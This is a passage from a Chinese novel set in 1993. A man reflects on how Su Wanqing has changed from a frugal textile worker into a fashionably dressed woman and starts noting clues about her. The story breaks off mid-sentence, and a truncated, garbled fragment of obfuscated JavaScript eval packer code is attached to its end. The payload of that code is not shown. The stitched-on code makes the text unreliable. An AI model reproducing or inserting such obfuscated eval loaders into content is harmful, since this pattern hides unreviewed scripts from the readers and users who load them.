在窗台上，积了薄薄一层。他盯着烟头上的火，忽然想起苏晚晴以前的样子：

    在县纺织厂当挡车工那阵，天天穿着沾满棉絮的浅灰工装，工装袖口磨破了，她用同色的线缝了个小补丁，领口被机器磨得发亮，

    棉絮粘在上面像撒了层白霜，总蹭得她脖子发红，留下点细印子；

    她眉头皱得能夹死蚊子，吃饭时筷子都捏得紧，米粒会掉在工装上，她捡起来塞嘴里，说“别浪费”，像是连饭都要攥进手里，生怕少吃一口就扛不住夜班。

    那时候她总揣着块硬邦邦的馒头，饿了就啃两口，馒头渣掉在口袋里，回家还会掏出来给笑笑吃。

    可现在呢？

    米黄色的风衣下摆扫过地面时，带起一点尘土，烫得蓬松的大波浪卷搭在肩上，发梢还沾了点发胶，硬挺挺的；

    脸上架着副太阳镜，镜片反光，能看见林凡模糊的影子，他盯着那影子，觉得自己像个外人，连她的眼神都看不清——

    活像从广州来的录像带里走出来的人！

    县城里哪见过这阵仗？

    穿风衣的不是供销社主任家的千金，就是刚从南方倒腾货回来的倒爷，

    苏晚晴怎么会变成这样？

    他把烟屁股摁在窗台上，窗台有层薄灰，烟屁股摁上去，灰粘在烟蒂上，留下个黑印，他手指蹭了蹭，灰留在指腹，搓一下就成了细沫。

    心里像塞了团浸了油的棉絮，又闷又沉，喘口气都觉得重，连带着胸口都发堵，他想咳嗽，又怕吵醒笑笑，只好憋着，憋得眼角都有点红。

    首先得把线索捋清楚。林凡掐了烟，从抽屉里翻出儿子用剩的作业本——作业本封面画着个小太阳，是笑笑用红铅笔涂的，颜色都褪了——

    撕了张纸，纸角还带着橡皮蹭的灰，蹭得他手指有点痒。撕的时候不小心把太阳边撕缺了一块，他心里紧了下，把缺角往手心折了折，怕笑笑看见心疼。

    铅笔头在纸上戳得“哒哒”响，铅笔芯断了两次，他用牙咬了咬铅笔头，把断芯吐在地上，再继续戳，戳出好几个小坑，手还带着点抖：

    身高大概一米六五，比县百货大楼玻璃柜里的塑料模特矮小半头，那模特穿的蓝布褂子还沾着灰，领口处的纽扣都掉了一颗，模特的脸被小孩用彩笔涂了道红杠，擦不掉；

    烫发是“大波浪”，县城里只有文化馆旁边的“爱美发屋”能烫出这样式——

    上次路过时，隔着玻璃听见里面吹风机“嗡嗡”响，混着老板娘用蹩脚的上海话打电话：“烫一次八块，不还价！”

    还传来客人的说话声，“烫得卷重点，像广州来的”，老板娘应着“晓得了，保证洋气”。

    八块钱，抵得上纺织厂女工两天的工资，苏晚晴以前连五毛钱的雪花膏都舍不得买，每次都是用林凡的蛤蜊油，说“凑合用”；

    墨镜是“太阳镜”，去年县电影院放《英雄本色》后，街上小年轻都戴，镜片上沾着灰也舍不得擦，可女人戴的少，大多是怕别人说“洋气过头”，

    上次林凡还看见隔壁的小芳戴了次，被她妈骂了顿，说“不正经”；米色风衣最显眼，林凡记得赵经理的媳妇有一件，是她弟弟从深圳捎来的——

    上次赵经理请客，他摸过那风衣的料子，滑溜溜的像绸缎，赵经理媳妇说要五十多块，当时他还咋舌：这钱够给笑笑买两双棉鞋，还能剩点买糖，买那种裹着透明糖纸的橘子糖。

    这些特征跟三年前那个连雪花膏都舍不得买的苏晚晴，差得比五金厂的新旧设备还远。可谁知道呢？1993年南下打工的人太多了，县纺织厂去年一下裁了两百多号人，

    当时厂门口贴的公告是红纸黑字，被人撕了个角，风一吹哗啦啦响，有女工蹲在公告前哭，手里攥着饭盒，饭盒里的粥洒了点在地上，冻成了冰。

    听说有个女工去广东半年，回来就穿上了黑皮鞋，鞋跟敲在水泥地上“噔噔”响，比厂长的皮鞋还亮，路过时还会掏出个塑料壳的打火机，“咔嗒”一声点烟，姿势比男人还熟练。

    人嘛，经不住日子搓磨，就像厂里的零件，搁在不同的机器里，转着转着就变了样——有的磨得发亮，转起来“嗖嗖”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(ne